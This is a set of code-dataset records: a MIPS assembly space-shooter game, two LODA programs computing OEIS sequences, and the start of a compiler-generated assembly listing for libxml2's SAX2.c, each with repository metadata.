piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black bge $t3, 22, delete_med_col3 sw $t2, 0($t5) # load the top piece address of the med sprite delete_med_col3: lw $t5, 0($sp) # same checks as for the painting of the sprite but now we paint black addi $sp, $sp, 4 ble $t3, 1, delete_med_col4 sw $t2, 0($t5) delete_med_col4: lw $t5, 0($sp) # load the bottom right piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black bge $t4, 124, delete_med_col5 bge $t3, 22 , delete_med_col5 sw $t2, 0($t5) delete_med_col5: lw $t5, 0($sp) # load the bottom left piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black beqz $t4, delete_med_col6 bge $t3, 22 , delete_med_col6 sw $t2, 0($t5) delete_med_col6: lw $t5, 0($sp) # load the top left piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black bge $t4, 124, delete_med_col7 sw $t2, 0($t5) delete_med_col7: lw $t5, 0($sp) # load the top right piece address of the med sprite addi $sp, $sp, 4 # same checks as for the painting of the sprite but now we paint black beqz $t4, reset_collision_ship sw $t2, 0($t5) reset_collision_ship: jal new_ship # jump to function to set new center for enemy ship that collided lw $t0, 0($sp) # pop collided enemy center address on ships array from stack into t0 addi $sp, $sp, 4 lw $ra, 0($sp) # if not dead, pop ra and return to main_loop addi $sp, $sp, 4 la $t0, health # load health array for checking if health is < 0 lw $t0, 0($t0) bltz $t0, paint_game_over # if less than 0 reset game due to death jr $ra return_s: lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra # ship_loop: sw $ra, -4($sp) #store return address addi $sp, $sp, -4 # start: la $t0, ships # load array for ships address add $t1, $zero, $zero # set index counter to 0 s_loop: add $t0, $t1, $t0 # set array value to array address + index sw $t1, -4($sp) # store on stack index to save value sw $t0, -8($sp) # store on stack address + index at top as arg for next function addi $sp, $sp, -8 # jal boundary_check # jump to boundary check lw $t1, 4($sp) # addi $sp, $sp, 8 la $t0, ships addi $t1, $t1, 4 beq $t1, 12, return_s j s_loop boundary_check: lw $t0, 0($sp) # array address + index lw $t1, 0($t0) #load value at array + index subi $t1, $t1, BASE_ADDRESS # calculate if value at address + index is multiple of 128 andi $t1, $t1, 127 # bne $t1, $zero, j_increment # if result division is not zero increment center j_new_ship: la $t3, ship_count lw $t2, 4($sp) add $t1, $t2, $t3 lw $t2, 0($t1) bne $t2, MOVE_CONST, next_ship sw $zero, 0($t1) move $v1, $ra jal new_ship # jump to new_ship move $ra, $v1 jr $ra # return to s_loop j_increment: la $t3, ship_count lw $t2, 4($sp) add $t1, $t2, $t3 lw $t2, 0($t1) bne $t2, MOVE_CONST, next_ship sw $zero, 0($t1) move $v1, $ra jal increment_ship # jump to ship increment move $ra, $v1 jr $ra next_ship: la $t1, ship_count lw $t2, 4($sp) lw $t3, 4($sp) add $t2, $t1, $t2 lw $t2, 0($t2) addi $t2, $t2, 1 add $t1, $t1, $t3 sw $t2, 0($t1) jr $ra increment_ship: lw $t0, 0($sp) # load ship[i] address in t0 sw $ra, -4($sp) # store return address addi $sp, $sp, -4 # sw $t0, -4($sp) # store ship[i] address in stack addi $sp, $sp, -4 # jal paint_ship_black # paint the current ship position black lw $t0, 0($sp) # load t0 with ship[i] address lw $t1, 0($t0) addi $t1, $t1, -4 # update position of ship center sw $t1, 0($t0) jal paint_new_ship # paint new ship position lw $ra, 4($sp) # load return address addi $sp, $sp, 8 # delete both from stack jr $ra # return to j_increment paint_ship_black: lw $t0, 0($sp) # load t0 with address in ships array + index li $t1, 0x000000 # load colour black lw $t2, 0($t0) # load center address from ships array address + index in t0 sw $t1, 0($t2) # colour the ships center and all parts ( offsets from center ) of ship black lw $t2, 0($t0) addi $t2, $t2, -128 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, 128 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, -4 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, -8 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, -132 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, 124 sw $t1, 0($t2) jr $ra # return to caller paint_new_ship: lw $t0, 0($sp) # load ships array address + index li $t1, 0x800080 # load rgb value of purple lw $t2, 0($t0) # load center address of ship sw $t1, 0($t2) # paint center purple subi $t3, $t2, BASE_ADDRESS div $t3, $t3, 128 # calculate y position of center addi $t4, $t2, -4 # check if the word before the center has the same subi $t5, $t4, BASE_ADDRESS # y position as the center if true paint purple else skip div $t5, $t5, 128 beq $t5, $t3, a_center_purple j check_center_fin # if not at right position skip a_center_purple: li $t1, 0x800080 # paint purple sw $t1, 0($t4) check_center_fin: addi $t4, $t2, -8 # check if 2 words before the center is on the same y position if subi $t5, $t4, BASE_ADDRESS # true paint purple else skip div $t5, $t5, 128 beq $t5, $t3, a_center_fin_purple j check_upper_fin a_center_fin_purple: li $t1, 0x800080 sw $t1, 0($t4) check_upper_fin: addi $t4, $t2, -132 # check if the upper fin of the ship's y position is 1 less than the subi $t5, $t4, BASE_ADDRESS # center's y position div $t5, $t5, 128 # if true paint purple else skip addi $t6, $t3, -1 beq $t5, $t6, upper_fin_purple j check_lower_fin upper_fin_purple: li $t1, 0x800080 sw $t1, 0($t4) check_lower_fin: addi $t4, $t2, 124 # check if the upper fin of the ship's y position is 1 more than the subi $t5, $t4, BASE_ADDRESS # center's y position div $t5, $t5, 128 # if true paint purple else skip addi $t6, $t3, 1 beq $t5, $t6, lower_fin_purple j back_purple lower_fin_purple: li $t1, 0x800080 sw $t1, 0($t4) back_purple: li $t1, 0x800080 # paint the back pieces of ship as purple lw $t2, 0($t0) addi $t2, $t2, -128 sw $t1, 0($t2) lw $t2, 0($t0) addi $t2, $t2, 128 sw $t1, 0($t2) lw $t2, 0($t0) sw $t1, 0($t2) jr $ra # return to caller new_ship: lw $t0, 0($sp) # load ship[i] address sw $ra, -4($sp) # store return address on stack addi $sp, $sp, -4 # sw $t0, -4($sp) # store ship[i] address on stack addi $sp, $sp, -4 # jal paint_ship_black # jump to paint the ship position black gen_loop: li $v0, 42 # load random num in a0 li $a0, 0 # li $a1, 24 # syscall # blt $a0, 2,gen_loop # if 0 gen again sll $a0, $a0, 7 # compute a0 as address on bitmap addi $a0, $a0, 124 # addi $a0, $a0, BASE_ADDRESS # sw $a0, -4($sp) # store bitmap address on stack la $t2, ships # store address of array ships on stack sw $t2, -8($sp) # addi $sp, $sp, -8 # jal is_unique # jump to find if address is not already used lw $t2, 0($sp) # pop return value of is_unique from stack addi $sp, $sp, 8 # beq $t2, 1, unique # if unique jump to unique label addi $sp, $sp, 4 # else delete bitmap address from stack to generate new one not_unique: j gen_loop # if not generate new random number unique: lw $t3, 0($sp) # load new ship address on t3 lw $t0, 4($sp) # load t0 with ship[i] address sw $t3, 0($t0) # ship[i] = new ship bitmap address addi $sp, $sp, 4 jal paint_new_ship # jump to paint the new ship lw $ra, 4($sp) # load return address addi $sp, $sp, 8 # delete all values from stack jr $ra # jump back to j_new_ship / collision_make is_unique: lw $t2, 0($sp) # load $t2 with address of array of ships add $t0, $zero, $zero # set t0 = 0 lw $t3, 4($sp) # load t3 with bitmap address unique_loop: add $t1, $t2, $t0 # get ships[i] address lw $t1, 0($t1) # t1 = ships[i] subi $t4, $t1, BASE_ADDRESS # get y position of ship[i] center div $t4, $t4, 128 # subi $t5, $t3, BASE_ADDRESS # get y position of ship[i] center div $t5, $t5, 128 # sub $t4, $t4, $t5 abs $t4, $t4 ble $t4, 3, return_not_unique addi $t0, $t0, 4 # beq $t0, 12, return_unique # if at end of loop return bitmap address j unique_loop # else continue loop return_unique: addi $t0, $zero, 1 # set t0 = 1 sw $t0, -4($sp) # store 1 on stack addi $sp, $sp, -4 # jr $ra # return to rand_loop return_not_unique: add $t0, $zero, $zero # set t0 = 0 sw $t0, -4($sp) # push 0 on stack addi $sp, $sp, -4 # jr $ra # return to rand_loop reset: addi $t0, $zero, BASE_ADDRESS # set t0 to BASE_ADDRESS for reseting purposes li $t3,0x000000 # set t3 to rgb for black for reseting purposes addi $t1, $zero, BASE_ADDRESS # set $t1 to word address after last word address of map addi $t1, $t1, 4096 reset_loop: sw $t3, 0($t0) # this loop sets the entire screen to black addi $t0, $t0, 4 # beq $t0, $t1, screen_now_black j reset_loop screen_now_black: jr $ra paint_game_over: jal reset jal reset_start li $t1, 0xffffff # load rgb value for white in t1 addi $t0, $zero, BASE_ADDRESS # load position to start painting the letter G addi $t0, $t0, 660 # paint the letter G on the map sw $t0, -4($sp) la $t1, letterG lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 16 # paint letter A sw $t0, -4($sp) la $t1, letterA lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 16 # paint letter M sw $t0, -4($sp) la $t1, letterM lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 24 # paint letter E sw $t0, -4($sp) la $t1, letterE lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, -24 # move t0 to row below the word GAME addi $t0, $t0, -16 addi $t0, $t0, -16 addi $t0, $t0, 784 # move the word OVER so it is painted in the center below GAME addi $t0, $t0, 12 # Paint letter O sw $t0, -4($sp) la $t1, letterO lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 16 # paint the letter V sw $t0, -4($sp) la $t1, letterV lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 24 # paint the letter E sw $t0, -4($sp) la $t1, letterE lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 addi $t0, $t0, 16 # paint the letter R sw $t0, -4($sp) la $t1, letterR lw $t2, 0($t1) addi $t1, $t1, 4 sw $t2, -8($sp) sw $t1, -12($sp) addi $sp, $sp, -12 jal paint_char addi $sp, $sp, 8 lw $t0, 0($sp) addi $sp, $sp, 4 wait_for_reset: li $t9, 0xffff0000 # set up t9 and t8 to check for a keypress in a loop lw $t8, 0($t9) beq $t8, 1, check_for_p j wait_for_reset check_for_p: lw $t2, 4($t9) # if a keypressed check if ascii value was p beq $t2, 0x70, restart # if true paint the entire screen black j wait_for_reset restart: jal reset j main reset_start: la $t0, ships # t0 = address of ships array la $t3, ship_count # t3 = address of ships count array addi $t2, $zero, BASE_ADDRESS # load t2 with BASE_ADDRESS to reset ships array add $t1, $t0, 12 clean_vars: sw $t2, 0($t0) # reset game sw $zero, 0($t3) # t2 has the ships array address + index and t3 has the ships_count array address + index addi $t0, $t0, 4 # reset both to their respective values addi $t3, $t3, 4 beq $t0, $t1, reset_health j clean_vars reset_health: la $t0, health # reset health to 100 and address of end of healthbar to full value li $t1, 100 sw $t1, 0($t0) addi $t0, $t0, 4 li $t1, 268472000 sw $t1, 0($t0) addi $t0, $zero, BASE_ADDRESS # prepare registers for clearing screen to black li $t3,0x000000 addi $t1, $zero, BASE_ADDRESS addi $t1, $t1, 4096 jr $ra # function paints character with white text with args, array of offsets, address and length of # array paint_char: lw $t0, 0($sp) lw $t1, 4($sp) lw $t2, 8($sp) li $t4, 0xffffff add $t3, $zero, $zero add $t5, $t0, $zero paint_charloop: lw $t7, 0($t5) add $t6, $t2, $t7 sw $t4, 0($t6) addi $t3, $t3, 4 beq $t3, $t1, paint_char_end add $t5, $t0, $t3 j paint_charloop paint_char_end: jr $ra
35.732394
117
0.627147
[ "MIT" ]
zhaoJoseph/MIPSGAME
gamev1.asm
35,518
Assembly
4
; A332102: Least m > 0 such that 2*m^n <= Sum_{k < m} k^n. ; 3,5,8,10,13,15,18,20,23,25,28,30,33,35,38,40,42,45,47,50,52,55,57,60,62,65,67,70,72,75,77,79,82,84,87,89,92,94,97,99,102,104,107,109,112,114,116,119,121,124,126,129,131,134,136,139,141,144,146,149,151,153,156,158,161,163,166 mov $6,$0 mov $0,11 mov $2,3 mov $3,$6 add $3,1 mov $5,$3 add $3,6 mul $5,44 div $5,30 add $5,$3 lpb $0 mov $0,1 mov $1,$5 mov $3,13 mov $4,1 add $4,$2 sub $4,1 add $3,$4 mul $1,$3 lpe sub $1,128 div $1,16 add $1,3
19.185185
226
0.598456
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/332/A332102.asm
518
Assembly
4
; A232896: a(n) = 3*a(n-1) - 2*a(n-2) - a(n-3) + a(n-4), where a(1) = 1, a(2) = 3, a(3) = 5, a(4) = 8. ; 1,3,5,8,12,18,27,41,63,98,154,244,389,623,1001,1612,2600,4198,6783,10965,17731,28678,46390,75048,121417,196443,317837,514256,832068,1346298,2178339,3524609,5702919,9227498,14930386,24157852,39088205,63246023,102334193,165580180,267914336,433494478,701408775,1134903213,1836311947,2971215118,4807527022,7778742096,12586269073,20365011123,32951280149,53316291224,86267571324,139583862498,225851433771,365435296217,591286729935,956722026098,1548008755978,2504730782020,4052739537941,6557470319903,10610209857785,17167680177628,27777890035352,44945570212918,72723460248207,117669030461061,190392490709203,308061521170198,498454011879334,806515533049464,1304969544928729,2111485077978123,3416454622906781,5527939700884832,8944394323791540,14472334024676298,23416728348467763,37889062373143985,61305790721611671,99194853094755578,160500643816367170,259695496911122668,420196140727489757,679891637638612343,1100087778366102017,1779979416004714276,2880067194370816208,4660046610375530398,7540113804746346519,12200160415121876829,19740274219868223259,31940434634990099998,51680708854858323166,83621143489848423072,135301852344706746145,218922995834555169123,354224848179261915173,573147844013817084200 add $0,1 mov $1,$0 seq $1,187107 ; Number of nontrivial compositions of differential operations and directional derivative of the n-th order on the space R^9. add $0,$1 sub $0,8
164.111111
1,194
0.857143
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/232/A232896.asm
1,477
Assembly
4
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1 TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\SAX2.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES _DATA SEGMENT COMM _xmlMalloc:DWORD COMM _xmlMallocAtomic:DWORD COMM _xmlRealloc:DWORD COMM _xmlFree:DWORD COMM _xmlMemStrdup:DWORD COMM _xmlIsBaseCharGroup:BYTE:010H COMM _xmlIsCharGroup:BYTE:010H COMM _xmlIsCombiningGroup:BYTE:010H COMM _xmlIsDigitGroup:BYTE:010H COMM _xmlIsExtenderGroup:BYTE:010H COMM _xmlIsIdeographicGroup:BYTE:010H COMM _xmlIsPubidChar_tab:BYTE:0100H COMM _xmlParserMaxDepth:DWORD COMM _xmlXPathNAN:QWORD COMM _xmlXPathPINF:QWORD COMM _xmlXPathNINF:QWORD COMM _forbiddenExp:DWORD COMM _emptyExp:DWORD _DATA ENDS msvcjmc SEGMENT __188180DA_corecrt_math@h DB 01H __2CC6E67D_corecrt_stdio_config@h DB 01H __05476D76_corecrt_wstdio@h DB 01H __A452D4A0_stdio@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __A8525CDE_sax2@c DB 01H msvcjmc ENDS PUBLIC _xmlSAX2GetPublicId PUBLIC _xmlSAX2GetSystemId PUBLIC _xmlSAX2SetDocumentLocator PUBLIC _xmlSAX2GetLineNumber PUBLIC _xmlSAX2GetColumnNumber PUBLIC _xmlSAX2IsStandalone PUBLIC _xmlSAX2HasInternalSubset PUBLIC _xmlSAX2HasExternalSubset PUBLIC _xmlSAX2InternalSubset PUBLIC _xmlSAX2ExternalSubset PUBLIC _xmlSAX2GetEntity PUBLIC _xmlSAX2GetParameterEntity PUBLIC _xmlSAX2ResolveEntity PUBLIC _xmlSAX2EntityDecl PUBLIC _xmlSAX2AttributeDecl PUBLIC _xmlSAX2ElementDecl PUBLIC _xmlSAX2NotationDecl PUBLIC _xmlSAX2UnparsedEntityDecl PUBLIC _xmlSAX2StartDocument PUBLIC _xmlSAX2EndDocument PUBLIC _xmlSAX2StartElement PUBLIC _xmlSAX2EndElement PUBLIC _xmlSAX2StartElementNs PUBLIC _xmlSAX2EndElementNs PUBLIC _xmlSAX2Reference PUBLIC _xmlSAX2Characters PUBLIC _xmlSAX2IgnorableWhitespace PUBLIC _xmlSAX2ProcessingInstruction PUBLIC _xmlSAX2Comment PUBLIC _xmlSAX2CDataBlock PUBLIC _xmlSAXDefaultVersion PUBLIC _xmlSAXVersion PUBLIC _xmlSAX2InitDefaultSAXHandler PUBLIC _xmlSAX2InitHtmlDefaultSAXHandler PUBLIC _htmlDefaultSAXHandlerInit PUBLIC _xmlSAX2InitDocbDefaultSAXHandler PUBLIC _docbDefaultSAXHandlerInit PUBLIC _xmlDefaultSAXHandlerInit PUBLIC __JustMyCode_Default PUBLIC ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ ; `string' PUBLIC ??_C@_0BG@CKPEJCG@xmlSAX2InternalSubset@ ; `string' PUBLIC ??_C@_0BG@NJCKJHBI@xmlSAX2ExternalSubset@ ; `string' PUBLIC ??_C@_0EE@PPDHKGIC@Entity?$CI?$CFs?$CJ?5document?5marked?5stan@ ; `string' PUBLIC ??_C@_0BO@LDENBHGA@Failure?5to?5process?5entity?5?$CFs?6@ ; `string' PUBLIC ??_C@_0DD@GCBFDMPE@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ ; `string' PUBLIC ??_C@_0DD@ECLLADNP@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ ; `string' PUBLIC ??_C@_0DG@EGJGBEOC@SAX?4xmlSAX2EntityDecl?$CI?$CFs?$CJ?5calle@ ; `string' PUBLIC ??_C@_06IMLNHOMM@xml?3id@ ; `string' PUBLIC ??_C@_0CG@DOFEKNB@xml?3id?5?3?5attribute?5type?5should?5@ ; `string' PUBLIC ??_C@_0DJ@CKOJIFJI@SAX?4xmlSAX2AttributeDecl?$CI?$CFs?$CJ?5ca@ ; `string' PUBLIC ??_C@_0DH@FINDFGFC@SAX?4xmlSAX2ElementDecl?$CI?$CFs?$CJ?5call@ ; `string' PUBLIC ??_C@_0DM@OMFMKHI@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5ext@ ; `string' PUBLIC ??_C@_0DI@MAMMGJDO@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5cal@ ; `string' PUBLIC ??_C@_0DO@IABCNOGI@SAX?4xmlSAX2UnparsedEntityDecl?$CI?$CF@ ; `string' PUBLIC ??_C@_0BF@BOIPPPAK@xmlSAX2StartDocument@ ; `string' PUBLIC ??_C@_05PPEFOGKI@xmlns@ ; `string' PUBLIC ??_C@_0CE@IJLGNIDG@invalid?5namespace?5declaration?5?8@ ; `string' PUBLIC ??_C@_0CL@HKIDFKGE@Avoid?5attribute?5ending?5with?5?8?3?8@ ; `string' PUBLIC ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ ; `string' PUBLIC ??_C@_0BL@KIHPGOD@xmlns?3?5?$CFs?5not?5a?5valid?5URI?6@ ; `string' PUBLIC ??_C@_0BP@JFBGAFGI@xmlns?3?5URI?5?$CFs?5is?5not?5absolute?6@ ; `string' PUBLIC ??_C@_0CE@LNIJHMCD@Empty?5namespace?5name?5for?5prefix@ ; `string' PUBLIC ??_C@_0BO@MNIAHAOJ@xmlns?3?$CFs?3?5?$CFs?5not?5a?5valid?5URI?6@ ; `string' PUBLIC ??_C@_0CC@FFFCEDOK@xmlns?3?$CFs?3?5URI?5?$CFs?5is?5not?5absolut@ ; `string' PUBLIC ??_C@_0DE@HNKDFNKM@Namespace?5prefix?5?$CFs?5of?5attribut@ ; `string' PUBLIC ??_C@_0BO@PGCJKKMF@Attribute?5?$CFs?5in?5?$CFs?5redefined?6@ ; `string' PUBLIC ??_C@_0CO@CCGEJOB@xml?3id?5?3?5attribute?5value?5?$CFs?5is?5@ ; `string' PUBLIC ??_C@_01JLIPDDHJ@?3@ ; `string' PUBLIC ??_C@_0DP@KFNFGALP@standalone?3?5attribute?5?$CFs?5on?5?$CFs?5@ ; `string' PUBLIC ??_C@_0CC@LPGBEFAE@Validation?5failed?3?5no?5DTD?5found@ ; `string' PUBLIC ??_C@_0CE@HAGAOPBB@Namespace?5prefix?5?$CFs?5is?5not?5defi@ ; `string' PUBLIC ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ ; `string' PUBLIC ??_C@_0BA@DNIHONAO@xmlSAX2TextNode@ ; `string' PUBLIC ??_C@_0BD@HFPHEGLL@xmlSAX2AttributeNs@ ; `string' PUBLIC ??_C@_0BG@CNBDKEMA@xmlSAX2StartElementNs@ ; `string' PUBLIC ??_C@_03PJHHNEEI@xml@ ; `string' PUBLIC ??_C@_0CD@HMPDFDML@Namespace?5prefix?5?$CFs?5was?5not?5fou@ ; `string' PUBLIC ??_C@_0CI@JKKHNIFK@Namespace?5default?5prefix?5was?5no@ ; `string' PUBLIC ??_C@_0CL@EDPCIJGK@xmlSAX2Characters?3?5xmlStrdup?5re@ ; `string' PUBLIC ??_C@_0CC@PCIHKIPC@xmlSAX2Characters?3?5huge?5text?5no@ ; `string' PUBLIC ??_C@_0CF@EADJOGLP@xmlSAX2Characters?5overflow?5prev@ ; `string' EXTRN _xmlStrdup:PROC EXTRN _xmlStrndup:PROC EXTRN _xmlStrchr:PROC EXTRN _xmlStrEqual:PROC EXTRN _xmlStrlen:PROC EXTRN _xmlStrcat:PROC EXTRN _xmlDictReference:PROC EXTRN _xmlDictLookup:PROC EXTRN _xmlDictQLookup:PROC EXTRN _xmlDictOwns:PROC EXTRN _xmlValidateNCName:PROC EXTRN _xmlBuildQName:PROC EXTRN _xmlCreateIntSubset:PROC EXTRN _xmlNewDtd:PROC EXTRN _xmlGetIntSubset:PROC EXTRN _xmlFreeDtd:PROC EXTRN _xmlNewNs:PROC EXTRN _xmlNewDoc:PROC EXTRN _xmlNewNsProp:PROC EXTRN _xmlNewNsPropEatName:PROC EXTRN _xmlNewDocNode:PROC EXTRN _xmlNewDocNodeEatName:PROC EXTRN _xmlNewDocText:PROC EXTRN _xmlNewDocPI:PROC EXTRN _xmlNewDocComment:PROC EXTRN _xmlNewCDataBlock:PROC EXTRN _xmlNewCharRef:PROC EXTRN _xmlNewReference:PROC EXTRN _xmlGetLastChild:PROC EXTRN _xmlAddChild:PROC EXTRN _xmlAddChildList:PROC EXTRN _xmlAddSibling:PROC EXTRN _xmlUnlinkNode:PROC EXTRN _xmlTextConcat:PROC EXTRN _xmlFreeNode:PROC EXTRN _xmlSearchNs:PROC EXTRN _xmlSetNs:PROC EXTRN _xmlStringGetNodeList:PROC EXTRN _xmlStringLenGetNodeList:PROC EXTRN _xmlParserError:PROC EXTRN _xmlParserWarning:PROC EXTRN ___xmlRaiseError:PROC EXTRN _xmlAddNotationDecl:PROC EXTRN _xmlAddElementDecl:PROC EXTRN _xmlFreeEnumeration:PROC EXTRN _xmlAddAttributeDecl:PROC EXTRN _xmlAddID:PROC EXTRN _xmlIsID:PROC EXTRN _xmlAddRef:PROC EXTRN _xmlIsRef:PROC EXTRN _xmlValidateRoot:PROC EXTRN _xmlValidateElementDecl:PROC EXTRN _xmlValidNormalizeAttributeValue:PROC EXTRN _xmlValidCtxtNormalizeAttributeValue:PROC EXTRN _xmlValidateAttributeDecl:PROC EXTRN _xmlValidateNotationDecl:PROC EXTRN _xmlValidateDtdFinal:PROC EXTRN _xmlValidateOneElement:PROC EXTRN _xmlValidateOneAttribute:PROC EXTRN _xmlValidateOneNamespace:PROC EXTRN _xmlValidateDocumentFinal:PROC EXTRN _xmlGetDtdQAttrDesc:PROC EXTRN _xmlGetDtdQElementDesc:PROC EXTRN _xmlAddDocEntity:PROC EXTRN _xmlAddDtdEntity:PROC EXTRN _xmlGetPredefinedEntity:PROC EXTRN _xmlGetDocEntity:PROC EXTRN _xmlGetParameterEntity:PROC EXTRN _xmlDetectCharEncoding:PROC EXTRN _xmlParseCtxtExternalEntity:PROC EXTRN _xmlParserAddNodeInfo:PROC EXTRN _xmlLoadExternalEntity:PROC EXTRN ___docbDefaultSAXHandler:PROC EXTRN ___htmlDefaultSAXHandler:PROC EXTRN ___xmlDefaultSAXHandler:PROC EXTRN ___xmlRegisterNodeDefaultValue:PROC EXTRN _xmlSwitchEncoding:PROC EXTRN _xmlPushInput:PROC EXTRN _xmlPopInput:PROC EXTRN _xmlFreeInputStream:PROC EXTRN _xmlSplitQName:PROC EXTRN _xmlParseExternalSubset:PROC EXTRN _xmlStringDecodeEntities:PROC EXTRN _xmlStringLenDecodeEntities:PROC EXTRN _nodePush:PROC EXTRN _nodePop:PROC EXTRN _xmlErrMemory:PROC EXTRN _xmlBuildURI:PROC EXTRN _xmlParseURI:PROC EXTRN _xmlFreeURI:PROC EXTRN _xmlCanonicPath:PROC EXTRN _xmlPathToURI:PROC EXTRN _htmlNewDocNoDtD:PROC EXTRN _htmlIsBooleanAttr:PROC EXTRN @__CheckForDebuggerJustMyCode@4:PROC EXTRN _memcpy:PROC EXTRN _memset:PROC EXTRN ___xmlRegisterCallbacks:DWORD EXTRN _xmlStringText:BYTE _DATA SEGMENT _xmlSAX2DefaultVersionValue DD 02H _DATA ENDS ; COMDAT ??_C@_0CF@EADJOGLP@xmlSAX2Characters?5overflow?5prev@ CONST SEGMENT ??_C@_0CF@EADJOGLP@xmlSAX2Characters?5overflow?5prev@ DB 'xmlSAX2Characte' DB 'rs overflow prevented', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CC@PCIHKIPC@xmlSAX2Characters?3?5huge?5text?5no@ CONST SEGMENT ??_C@_0CC@PCIHKIPC@xmlSAX2Characters?3?5huge?5text?5no@ DB 'xmlSAX2Charac' DB 'ters: huge text node', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@EDPCIJGK@xmlSAX2Characters?3?5xmlStrdup?5re@ CONST SEGMENT ??_C@_0CL@EDPCIJGK@xmlSAX2Characters?3?5xmlStrdup?5re@ DB 'xmlSAX2Charact' DB 'ers: xmlStrdup returned NULL', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CI@JKKHNIFK@Namespace?5default?5prefix?5was?5no@ CONST SEGMENT ??_C@_0CI@JKKHNIFK@Namespace?5default?5prefix?5was?5no@ DB 'Namespace def' DB 'ault prefix was not found', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CD@HMPDFDML@Namespace?5prefix?5?$CFs?5was?5not?5fou@ CONST SEGMENT ??_C@_0CD@HMPDFDML@Namespace?5prefix?5?$CFs?5was?5not?5fou@ DB 'Namespace' DB ' prefix %s was not found', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03PJHHNEEI@xml@ CONST SEGMENT ??_C@_03PJHHNEEI@xml@ DB 'xml', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BG@CNBDKEMA@xmlSAX2StartElementNs@ CONST SEGMENT ??_C@_0BG@CNBDKEMA@xmlSAX2StartElementNs@ DB 'xmlSAX2StartElementNs', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BD@HFPHEGLL@xmlSAX2AttributeNs@ CONST SEGMENT ??_C@_0BD@HFPHEGLL@xmlSAX2AttributeNs@ DB 'xmlSAX2AttributeNs', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BA@DNIHONAO@xmlSAX2TextNode@ CONST SEGMENT ??_C@_0BA@DNIHONAO@xmlSAX2TextNode@ DB 'xmlSAX2TextNode', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ CONST SEGMENT ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ DB 'xmlSAX2Characters', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CE@HAGAOPBB@Namespace?5prefix?5?$CFs?5is?5not?5defi@ CONST SEGMENT ??_C@_0CE@HAGAOPBB@Namespace?5prefix?5?$CFs?5is?5not?5defi@ DB 'Namespace' DB ' prefix %s is not defined', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CC@LPGBEFAE@Validation?5failed?3?5no?5DTD?5found@ CONST SEGMENT ??_C@_0CC@LPGBEFAE@Validation?5failed?3?5no?5DTD?5found@ DB 'Validation f' DB 'ailed: no DTD found !', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DP@KFNFGALP@standalone?3?5attribute?5?$CFs?5on?5?$CFs?5@ CONST SEGMENT ??_C@_0DP@KFNFGALP@standalone?3?5attribute?5?$CFs?5on?5?$CFs?5@ DB 'stand' DB 'alone: attribute %s on %s defaulted from external subset', 0aH DB 00H ; `string' CONST ENDS ; COMDAT ??_C@_01JLIPDDHJ@?3@ CONST SEGMENT ??_C@_01JLIPDDHJ@?3@ DB ':', 00H ; `string' CONST ENDS ; COMDAT 